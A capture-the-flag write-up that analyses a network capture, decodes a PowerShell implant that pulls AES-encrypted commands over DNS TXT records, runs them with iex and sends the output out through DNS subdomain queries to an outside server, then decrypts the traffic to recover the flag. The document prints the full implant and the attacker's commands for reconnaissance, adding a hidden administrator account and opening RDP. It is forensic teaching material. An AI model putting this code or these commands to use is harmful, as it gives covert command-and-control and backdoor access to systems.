Automation
Inspecting the Network Capture
Downloading this challenge we can see that this is another PCAPNG file. Opening it in Wireshark reveals that this is a network capture. Initially I found the first interesting packet by simply scrolling through the capture but in hindsight all you needed to do is go to File > Export Objects > HTTP
to see all the HTTP objects which were sent over.
There aren’t that many HTTP objects to inspect so going through them one by one isn’t that bad of an idea. If you take a closer look at the packet
1931
which is carrying the incospicous file image.png
you can see a long Base64 encoded string. To get a better view right click the message and press Follow > TCP Stream
, alternatevly you can use the combination Ctrl + Alt + Shift + T
.
Let’s put it into CyberChef (link) and decode it.
Here is the output:
function Create-AesManagedObject($key, $IV) {
$aesManaged = New-Object "System.Security.Cryptography.AesManaged"
$aesManaged.Mode = [System.Security.Cryptography.CipherMode]::CBC
$aesManaged.Padding = [System.Security.Cryptography.PaddingMode]::Zeros
$aesManaged.BlockSize = 128
$aesManaged.KeySize = 256
if ($IV) {
if ($IV.getType().Name -eq "String") {
$aesManaged.IV = [System.Convert]::FromBase64String($IV)
}
else {
$aesManaged.IV = $IV
}
}
if ($key) {
if ($key.getType().Name -eq "String") {
$aesManaged.Key = [System.Convert]::FromBase64String($key)
}
else {
$aesManaged.Key = $key
}
}
$aesManaged
}
function Create-AesKey() {
$aesManaged = Create-AesManagedObject $key $IV
[System.Convert]::ToBase64String($aesManaged.Key)
}
function Encrypt-String($key, $unencryptedString) {
$bytes = [System.Text.Encoding]::UTF8.GetBytes($unencryptedString)
$aesManaged = Create-AesManagedObject $key
$encryptor = $aesManaged.CreateEncryptor()
$encryptedData = $encryptor.TransformFinalBlock($bytes, 0, $bytes.Length);
[byte[]] $fullData = $aesManaged.IV + $encryptedData
$aesManaged.Dispose()
[System.BitConverter]::ToString($fullData).replace("-","")
}
function Decrypt-String($key, $encryptedStringWithIV) {
$bytes = [System.Convert]::FromBase64String($encryptedStringWithIV)
$IV = $bytes[0..15]
$aesManaged = Create-AesManagedObject $key $IV
$decryptor = $aesManaged.CreateDecryptor();
$unencryptedData = $decryptor.TransformFinalBlock($bytes, 16, $bytes.Length - 16);
$aesManaged.Dispose()
[System.Text.Encoding]::UTF8.GetString($unencryptedData).Trim([char]0)
}
filter parts($query) { $t = $_; 0..[math]::floor($t.length / $query) | % { $t.substring($query * $_, [math]::min($query, $t.length - $query * $_)) }}
$key = "a1E4MUtycWswTmtrMHdqdg=="
$out = Resolve-DnsName -type TXT -DnsOnly windowsliveupdater.com -Server 147.182.172.189|Select-Object -Property Strings;
for ($num = 0 ; $num -le $out.Length-2; $num++){
$encryptedString = $out[$num].Strings[0]
$backToPlainText = Decrypt-String $key $encryptedString
$output = iex $backToPlainText;$pr = Encrypt-String $key $output|parts 32
Resolve-DnsName -type A -DnsOnly start.windowsliveupdater.com -Server 147.182.172.189
for ($ans = 0; $ans -lt $pr.length-1; $ans++){
$domain = -join($pr[$ans],".windowsliveupdater.com")
Resolve-DnsName -type A -DnsOnly $domain -Server 147.182.172.189
}
Resolve-DnsName -type A -DnsOnly end.windowsliveupdater.com -Server 147.182.172.189
}
As you can see it’s a Powershell script. Let’s try and dissect it.
The Powershell Payload
First we should focus on cleaning up the code and understanding what it does. Since the upper part is just AES Encryption and Decryption we can leave it out for now. Here is the bottom part with a few comments I added. I would recommend reading those to understand what the code does.
# The AES key
$key = "a1E4MUtycWswTmtrMHdqdg=="
# Here the programm is performing a DNS query to retrieve a string from the server 147.182.172.189
# Keep in mind that $out is an array that we will loop through later
$out = Resolve-DnsName -type TXT -DnsOnly windowsliveupdater.com -Server 147.182.172.189 | Select-Object -Property Strings;
# Here we are looping through the $out array
for ($num = 0 ; $num -le $out.Length-2; $num++)
{
# Here we save one of the downloaded string in the $encrypted variable
$encryptedString = $out[$num].Strings[0]
# Then we use the "Decrypt-String" function,
# it appears that inside the encrypted string are malicous commands
$backToPlainText = Decrypt-String $key $encryptedString
# Now we execute the commands which were encrypted before and save the output
$output = iex $backToPlainText;
# Here we use the "Encrypt-String" with the key and the output produced before
# Additionally to that we use "parts 32" which splits the string in to smaller strings
# Each the length of 32 characters which are then saved in an array $pr
# Since we later want to send the created output in a DNS query we have to split
# it up into smaller segments. The reason is the length limit in a DNS query.
$pr = Encrypt-String $key $output | parts 32
# I suppose here we signal the server that we are about to send important information
# aka the $output of the commands we executed earlier
Resolve-DnsName -type A -DnsOnly start.windowsliveupdater.com -Server 147.182.172.189
# As mentioned before we can't send over the whole output in one DNS query. In this
# for loop we iterate through all the segments and send them each in one DNS query.
for ($ans = 0; $ans -lt $pr.length-1; $ans++)
{
# As you can see the first part of the domain is always a segment of the output.
$domain = -join($pr[$ans],".windowsliveupdater.com")
# Then we simply resolve the domain. A pretty good way to communicate and stay undetected!
Resolve-DnsName -type A -DnsOnly $domain -Server 147.182.172.189
}
# Same thing as above, we signal the server that we are done transmitting.
Resolve-DnsName -type A -DnsOnly end.windowsliveupdater.com -Server 147.182.172.189
}
As you can see the first thing the script does is resolve the Domain windowsliveupdater.com
using 147.182.172.189
as the DNS Server. After retrieving the response it get’s saved in the $out
variable and later in the $encryptedString
variable. Then it gets decrypted with the Decrypt-String
function and executed. Let’s try to follow that path and find the DNS Response our victim PC received. A good clue is the IP Address 147.182.172.189
. We can apply this filter in Wireshark: ip.src == 147.182.172.189
. Here is what we find.
The reply in the server looks a lot like the Base64 encoded string we are searching for. Let’s copy one of the
TXT
fields and try decrypting it with the AES Decryption function. Make sure to copy the value.
Now let’s replace the line in the Powershell script where the
$out
variable is created with the value we just copied. You also have to comment out everything after $out
in the line where the $encryptedString
variable is created. This is due to the fact that normally with a real DNS query $out
would be an Array but since we only have a string we have to remove [$num].Strings[0]
. Here is the whole code snippet. I added a print statement so that the decrypted string will be printed. If you run it you should see the decrypted string hostname
in the console.
function Create-AesManagedObject($key, $IV) {
$aesManaged = New-Object "System.Security.Cryptography.AesManaged"
$aesManaged.Mode = [System.Security.Cryptography.CipherMode]::CBC
$aesManaged.Padding = [System.Security.Cryptography.PaddingMode]::Zeros
$aesManaged.BlockSize = 128
$aesManaged.KeySize = 256
if ($IV) {
if ($IV.getType().Name -eq "String") {
$aesManaged.IV = [System.Convert]::FromBase64String($IV)
}
else {
$aesManaged.IV = $IV
}
}
if ($key) {
if ($key.getType().Name -eq "String") {
$aesManaged.Key = [System.Convert]::FromBase64String($key)
}
else {
$aesManaged.Key = $key
}
}
$aesManaged
}
function Create-AesKey() {
$aesManaged = Create-AesManagedObject $key $IV
[System.Convert]::ToBase64String($aesManaged.Key)
}
function Encrypt-String($key, $unencryptedString) {
$bytes = [System.Text.Encoding]::UTF8.GetBytes($unencryptedString)
$aesManaged = Create-AesManagedObject $key
$encryptor = $aesManaged.CreateEncryptor()
$encryptedData = $encryptor.TransformFinalBlock($bytes, 0, $bytes.Length);
[byte[]] $fullData = $aesManaged.IV + $encryptedData
$aesManaged.Dispose()
[System.BitConverter]::ToString($fullData).replace("-","")
}
function Decrypt-String($key, $encryptedStringWithIV) {
$bytes = [System.Convert]::FromBase64String($encryptedStringWithIV)
$IV = $bytes[0..15]
$aesManaged = Create-AesManagedObject $key $IV
$decryptor = $aesManaged.CreateDecryptor();
$unencryptedData = $decryptor.TransformFinalBlock($bytes, 16, $bytes.Length - 16);
$aesManaged.Dispose()
[System.Text.Encoding]::UTF8.GetString($unencryptedData).Trim([char]0)
}
filter parts($query) { $t = $_; 0..[math]::floor($t.length / $query) | % { $t.substring($query * $_, [math]::min($query, $t.length - $query * $_)) }}
$key = "a1E4MUtycWswTmtrMHdqdg=="
$out = "Ifu1yiK5RMABD4wno66axIGZuj1HXezG5gxzpdLO6ws=" # The string we got from the DNS reply
for ($num = 0 ; $num -le $out.Length-2; $num++)
{
$encryptedString = $out # [$num].Strings[0] # See above to see why we commented this out
$backToPlainText = Decrypt-String $key $encryptedString
Write-Output "Decrypted Output:"
Write-Output $backToPlainText
$output = iex $backToPlainText;
$pr = Encrypt-String $key $output | parts 32
Resolve-DnsName -type A -DnsOnly start.windowsliveupdater.com -Server 147.182.172.189
for ($ans = 0; $ans -lt $pr.length-1; $ans++)
{
$domain = -join($pr[$ans],".windowsliveupdater.com")
Resolve-DnsName -type A -DnsOnly $domain -Server 147.182.172.189
}
Resolve-DnsName -type A -DnsOnly end.windowsliveupdater.com -Server 147.182.172.189
}
Now that we got one of the strings decrypted we can do the same with the others. I’m sure there is a more elegant way to do it with Tshark but since there are only seven values to decrypt I didn’t want to bother and search the command. Here are the seven encrypted strings and right after that the decrypted versions.
1. Ifu1yiK5RMABD4wno66axIGZuj1HXezG5gxzpdLO6ws=
2. hhpgWsOli4AnW9g/7TM4rcYyvDNky4yZvLVJ0olX5oA=
3. 58v04KhrSziOyRaMLvKM+JrCHpM4WmvBT/wYTRKDw2s=
4. eTtfUgcchm/R27YJDP0iWnXHy02ijScdI4tUqAVPKGf3nsBE28fDUbq0C8CnUnJC57lxUMYFSqHpB5bhoVTYafNZ8+ijnMwAMy4hp0O4FeH0Xo69ahI8ndUfIsiD/Bru
5. BbvWcWhRToPqTupwX6Kf7A0jrOdYWumqaMRz6uPcnvaDvRKY2+eAl0qT3Iy1kUGWGSEoRu7MjqxYmek78uvzMTaH88cWwlgUJqr1vsr1CsxCwS/KBYJXhulyBcMMYOtcqImMiU3x0RzlsFXTUf1giNF2qZUDthUN7Z8AIwvmz0a+5aUTegq/pPFsK0i7YNZsK7JEmz+wQ7Ds/UU5+SsubWYdtxn+lxw58XqHxyAYAo0=
6. vJxlcLDI/0sPurvacG0iFbstwyxtk/el9czGxTAjYBmUZEcD63bco9uzSHDoTvP1ZU9ae5VW7Jnv9jsZHLsOs8dvxsIMVMzj1ItGo3dT+QrpsB4M9wW5clUuDeF/C3lwCRmYYFSLN/cUNOH5++YnX66b1iHUJTBCqLxiEfThk5A=
7. M3/+2RJ/qY4O+nclGPEvJMIJI4U6SF6VL8ANpz9Y6mSHwuUyg4iBrMrtSsfpA2bh
1. hostname
2. whoami
3. ipconfig
4. wmic /namespace:\\root\SecurityCenter PATH AntiVirusProduct GET /value
5. net user DefaultUsr "JHBhcnQxPSdIVEJ7eTB1X2M0bl8n" /add /Y; net localgroup Administrators /add DefaultUsr; net localgroup "Remote Desktop Users" /add DefaultUsr
6. netsh advfirewall firewall add rule name="Terminal Server" dir=in action=allow protocol=TCP localport=3389
7. net start TermService
All those commands were getting executed and as you can see the code was retrieving the active Antivirus, setting up a new user and modifying the Firewall rules. Decoding the new user JHBhcnQxPSdIVEJ7eTB1X2M0bl8n
from Base64 reveals the first part of the flag. Here is the CyberChef link
First Part of the Flag
$part1='HTB{y0u_c4n_'
Decrypting AES
Let’s take another look at the bottom part of the script and try to figure out where the second part of the flag is.
$key = "a1E4MUtycWswTmtrMHdqdg=="
$out = Resolve-DnsName -type TXT -DnsOnly windowsliveupdater.com -Server 147.182.172.189|Select-Object -Property Strings;
for ($num = 0 ; $num -le $out.Length-2; $num++)
{
$encryptedString = $out[$num].Strings[0]
$backToPlainText = Decrypt-String $key $encryptedString
# Here the output from the commands we found be fore is saved in $output variable
$output = iex $backToPlainText;
# then $output is getting encrypted with the "Encrypt-String" function and saved in
# the array $pr in the form of multiple 32-character strings
$pr = Encrypt-String $key $output | parts 32
Resolve-DnsName -type A -DnsOnly start.windowsliveupdater.com -Server 147.182.172.189
for ($ans = 0; $ans -lt $pr.length-1; $ans++)
{
# On each iteration of the loop a segment of $pr is joined with ".windowsliveupdater.com"
# and saved in $domain
$domain = -join($pr[$ans],".windowsliveupdater.com")
# domain is sent over via a DNS query to the hackers server, 147.182.172.189
Resolve-DnsName -type A -DnsOnly $domain -Server 147.182.172.189
}
Resolve-DnsName -type A -DnsOnly end.windowsliveupdater.com -Server 147.182.172.189
}
Most probably the second part of the flag is inside those DNS queries which were sent over by this script. Now we have to filter them out and and decrypt them. Lets do that. First lets search for packets going to the hackers IP 147.182.172.189
. We use the filter ip.dst == 147.182.172.189
.
As you can see there a few “snippets”. There is a
start
packet sent then a few messages and in the end an end
packet. The reason is the for loop where the real virus was looping through the $out
array. Each time a string from this array is decrypted and executed the results are sent over in an individual snippet. I first simply copied the “Name” values of the first three packets and removed the windowsliveupdater.com
part.
Here are combined the first three packets in one line which represent the output of the first snippet aka the first ouput:
CC1C9AC2958A2E63609272E2B4F8F43632A806549B03AB7E4EB39771AEDA4A1BC1006AC8A03F9776B08321BD6D5247BB
Now let’s decrypt it! We can use CyberChef to do that. First copy the ecrypted String above and paste it in, then select the “AES-Decrypt Module”.
As you can see we need to input the Key and the Initialization Vector aka IV. We can find both of those in the script. The Key is simply saved in a variable called
$key="a1E4MUtycWswTmtrMHdqdg=="
. To find the IV we need to dig a bit deeper.
As you can see in the Encrypt-String
function the IV is added in front of the real information. We can look in the Decrypt-String
function to see the length of the IV.
function Encrypt-String($key, $unencryptedString) {
$bytes = [System.Text.Encoding]::UTF8.GetBytes($unencryptedString)
$aesManaged = Create-AesManagedObject $key
$encryptor = $aesManaged.CreateEncryptor()
$encryptedData = $encryptor.TransformFinalBlock($bytes, 0, $bytes.Length);
[byte[]] $fullData = $aesManaged.IV + $encryptedData
$aesManaged.Dispose()
[System.BitConverter]::ToString($fullData).replace("-","")
}
Now you might say, “what if the IV length used in the decrypt function is different?”. You are correct and we would need to dig a bit deeper into the weeds of the encrypt function to find out the lenght of the IV. However trying the length used in the decrypt function worked so no further work needed. I will explain how I concluded that now.
Here is the Decrypt-String
Function.
function Decrypt-String($key, $encryptedStringWithIV) {
$bytes = $encryptedStringWithIV[System.Convert]::FromBase64String($encryptedStringWithIV)
$IV = $bytes[0..15]
$aesManaged = Create-AesManagedObject $key $IV
$decryptor = $aesManaged.CreateDecryptor();
$unencryptedData = $decryptor.TransformFinalBlock($bytes, 16, $bytes.Length - 16);
$aesManaged.Dispose()
[System.Text.Encoding]::UTF8.GetString($unencryptedData).Trim([char]0)
}
You can see that $IV
is created from the first 16 characters of $bytes
(check the Array note to know why). And $bytes
is basically the $encryptedStringWithIV
. That means that every snippets first 16 characters are the IV. However, if you take a closer look at the Encrypt-String
function you will see that we are dealing with Bytes. That basically means that we are sending over Hex values. And since one Hex value is represented by two ASCII characters the IV is 16 Hex values aka 32 ASCII characters. This is also the reason why we can’t use the Decrypt-String
function. This function was designed to take in a Base64 string and decrypt it. The $IV = $bytes[0..15]
line in the function simply wont work if we don’t convert the snippet to bytes.
Another thing I noticed is that 16 is the same number used in the parts
command (see the comments in the The Powershell Payload).
Now that we know the every snippets first 32 ASCII characters are the IV we can input those information in CyberChef. Here is the IV:
CC1C9AC2958A2E63609272E2B4F8F436
Here is the key (don’t forget to set the type to Base64):
a1E4MUtycWswTmtrMHdqdg==
Here is the encrypted string without the IV:
32A806549B03AB7E4EB39771AEDA4A1BC1006AC8A03F9776B08321BD6D5247BB
You might need to set the mode to CBC (you can see that mode being used in the script) and the input mode to Hex. Here is how it should look like in the end. You can see the output in the bottom right.
We got it! Now all we need to do is do the same thing with all the other snippets. I simply exported the output from Wireshark as a
.csv
file so we can view it in excel and copy the lines over to an editor like Sublime and remove all the unneeded junk. Obviously there is a better way to do it with Tshark but I didn’t want to bother with that for only six snippets.
First apply the same filter as before: ip.dst == 147.182.172.189
. Then head to File > Export Packet Dissections > As CSV...
and save it.
I personally used Excel but you can use any software you like to view the
.csv
file and copy the important lines.
Now I simply selected all the lines and copied them over to Sublime.
Then I removed everything that isn’t part of the encryption and then made it clear where a snippet start and ends by separating the snippets with a new line. In Sublime you can type on multiple lines at the same time if you select the lines while holding the mousewheel. This is the end result:
CC1C9AC2958A2E63609272E2B4F8F436
32A806549B03AB7E4EB39771AEDA4A1B
C1006AC8A03F9776B08321BD6D5247BB
7679895D1CF7C07BB6A348E1AA4AFC65
5958A6856F1A34AAD5E97EA55B087670
35F2497E5836EA0ECA1F1280F59742A3
09E28DD82C14BC32513652DAC2F2C27B
0D73A3288A980D8FCEF94BDDCF9E2822
2A1CA17BB2D90FCD6158856348790414
20FC39C684A9E371CC3A06542B666005
5840BD94CCE65E23613925B4D9D2BA53
18EA75BC653004D45D505ED62567017A
6FA4E7593D83092F67A81082D9930E99
BA20E34AACC4774F067442C6622F5DA2
A9B09FF558A8DF000ECBD37804CE663E
3521599BC7591005AB6799C57068CF0D
C6884CECF01C0CD44FD6B82DB788B35D
62F02E4CAA1D973FBECC235AE9F40254
C63D3C93C89930DA2C4F42D9FC123D8B
AB00ACAB5198AFCC8C6ACD81B19CD264
CC6353668CEA4C88C8AEEA1D58980022
DA8FA2E917F17C28608818BF550FEA66
973B5A8355258AB0AA281AD88F5B9EB1
03AC666FE09A1D449736335C09484D27
1C301C6D5780AB2C9FA333BE3B0185BF
071FB1205C4DBEAA2241168B0748902A
6CE14903C7C47E7C87311044CB9873A4
ECABC349D27C0B0FFFD1ACEEDBE06BB6
C2EB000EE4F9B35D6F001500E85642A2
DCC8F1BE2CF4D667F458C1DE46D24B1C
2E0F5D94E52649C70402C1B0A2FF7B49
FC32DDD67F275307A74B2C4D0864B3F0
486186DA9443EB747F717B3911C959DC
7E300844D60655410C3988238E615D61
6F33D27F63CE4D1E065A416911BC50D4
58749599D2CB08DB561988EB2902E05D
9886FDDAC2BED6F6DA73637AD2F20CF1
99B8CE3D9DEE03C0180C7D1198B49C02
99B8CE3D9DEE03C0180C7D1198B49C02
769E5EE4EAB896D7D3BB478EA1408167
769E5EE4EAB896D7D3BB478EA1408167
79472A243BFB0852AF372323EC132988
3C81A3F2AEB1D3DAAE8496E1DBF97F43
5AE40A09203B890C4A174D77CB7026C4
E990A6FB6424A7501823AD31D3D6B634
4C7971C8D447C078C4471732AD881C39
4BC8B1A66E0BED43DDC359269B57D1D5
D68DCD2A608BF61716BB47D6FE4D5C9D
6E8BB2981F214A8234B0DD0210CA96EB
2D6322B0F7F3D748C4C9F8B80EFF5A69
21A3D1A8621A49F4D29BC9851D25230B
841BDB4E9E5F8BF721B58E8308177B57
2E9A015967DA5BF11AC9155FC2159C8F
610CD82F818B4BDF5E48722DAF4BEEEB
ABCE30583F503B484BF99020E28A1B8F
282A23FEB3A21C3AD89882F5AC0DD3D5
7D87875231652D0F4431EC37E51A09D5
7E2854D11003AB6E2F4BFB4F7E2477DA
A44FCA3BC6021777F03F139D458C0524
AE4ABE8A3A88D21DEEA071A72D65A35E
F158D9F025897D1843E37B7463EC7833
Now simply do the same thing with the first snippet.
1. Cut the first line (32 ASCII characters) from the snippet
2. Use that as the IV
3. Simple copy the rest of the snippet into the "Input" field
Here is an example with the snippet that has the second part of the flag inside:
And we’re done! Here is how it would look like if you decrypt all snippets:
intergalacticopcenter...........
intergalacticop\sysadmin........
Windows IP Configuration
Ethernet adapter Ethernet:
Connection-specific DNS Suffix . : home
Link-local IPv6 Address . . . . . : fe80::fdbd:2c54:d6b:c384%6
IPv4 Address. . . . . . . . . . . : 10.0.2.15
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . : 10.0.2.2.....
companyName=Panaman
displayName=Pan Antivirus 4.0, $part2=**********************
instanceGuid={CD3EA3C2-91CB-4359-90DC-1E909147B6B0}
onAccessScannin!Q]¦<3°E±,}
$(ù.gEnabled=TRUE p.cþ¸.:ðsöãhÊ|Ô=.athToSignedProductExe=panantivirus:// productHasNotifiedUser=
productState=
productUptoDate=TRUE
productWantsWscNotification
The command completed successfully.
The command completed successfully.
The command completed successfully.
Ok.
Second Part of the Flag
$part2=4utom4t3_but_y0u_c4nt_h1de}
Reverse Engineering the Decrypt Function
As you just saw we could decrypt everything we needed and solved the challenge. However when I first did it I didn’t know much about AES and especially the Initialization Vector was confusing to me. I also didn’t see that the IV was in the first 16 characters of each snippet and I certainly didn’t notice that this equals to 32 ASCII characters.
I did however understand that the Encrypt-String
Function spits out something in the byte format. We can see that output in the network capture. So logically all I needed to do to is to create a Decrypt-String
function that takes in the encrypted string in byte format.
I also found this script on Github which contains literally the encrypt and decrypt function our attackers used. Sadly they altered the encrypt function to output in byte format. Now the question is how do modify said decrypt function to accept on of our snippets?
First thing we have to do is to bring the long hex strings we have into a proper format, a format that the AesManagedObject
can understand (see any function in the code). The format has to be: Hex values with an 0x
before each value. So if we have a string of Hex values like this:
CC1C9A
It has to be tranformed into an array of of Hex values. So basically something like this:
0xCC 0x1C 0x9A
To do this I used -split
and foreach-object
(see below).
Once we do this with the whole snippet we can use literally the same decrypt function in the script. However we will have to remove the Base64 conversion part in the Decrypt-String
function. Here is the whole script, all you have to do is put a snippet (without spaces) into the $encrypted
variable. I used the first snippet as an example.
function Create-AesManagedObject($key, $IV) {
$aesManaged = New-Object "System.Security.Cryptography.AesManaged"
$aesManaged.Mode = [System.Security.Cryptography.CipherMode]::CBC
$aesManaged.Padding = [System.Security.Cryptography.PaddingMode]::Zeros
$aesManaged.BlockSize = 128
$aesManaged.KeySize = 256
if ($IV) {
if ($IV.getType().Name -eq "String") {
$aesManaged.IV = [System.Convert]::FromBase64String($IV)
}
else {
$aesManaged.IV = $IV
}
}
if ($key) {
if ($key.getType().Name -eq "String") {
$aesManaged.Key = [System.Convert]::FromBase64String($key)
}
else {
$aesManaged.Key = $key
}
}
$aesManaged
}
function Decrypt-String($key, $encryptedStringWithIV) {
$bytes = $encryptedStringWithIV#[System.Convert]::FromBase64String($encryptedStringWithIV)
# Here I commented out the Base64 String conversion
$IV = $bytes[0..15]
$aesManaged = Create-AesManagedObject $key $IV
$decryptor = $aesManaged.CreateDecryptor();
$unencryptedData = $decryptor.TransformFinalBlock($bytes, 16, $bytes.Length - 16);
$aesManaged.Dispose()
[System.Text.Encoding]::UTF8.GetString($unencryptedData).Trim([char]0)
}
filter parts($query) { $t = $_; 0..[math]::floor($t.length / $query) | % { $t.substring($query * $_, [math]::min($query, $t.length - $query * $_)) }}
# The AES key
$key = "a1E4MUtycWswTmtrMHdqdg=="
# The first snippet from the network capture
$encoded = "CC1C9AC2958A2E63609272E2B4F8F43632A806549B03AB7E4EB39771AEDA4A1BC1006AC8A03F9776B08321BD6D5247BB"
# With -split we are splitting every two characters (that's what the '(..)' -ne '' does)
# then we add a '0x' before each of the new two character length strings we created.
# The $_ is the string itself. So basically the code says:
# Split the long string in many 2-length strings
# Before each of those strings add a '0x'
# If it would say {$_ + '0x'} we would add a '0x' after each string
$hex = ""
$hex = $encoded -split '(..)' -ne '' | foreach-object { '0x' + $_ }
# For clarity we print the created Hex Values (the `n is just a new line`)
Write-Host "`nHere are all the Hex Values:`n" $hex
# Then decrypt
$decrypted = Decrypt-String $key $hex
# And print it out
Write-Host "`nString after decryption:`n" $decrypted
Keep in mind that using this, obviously worse solution, you will have to this with all the snippets individually. However, that is the solution that I came up with during the competition and it thankfully worked.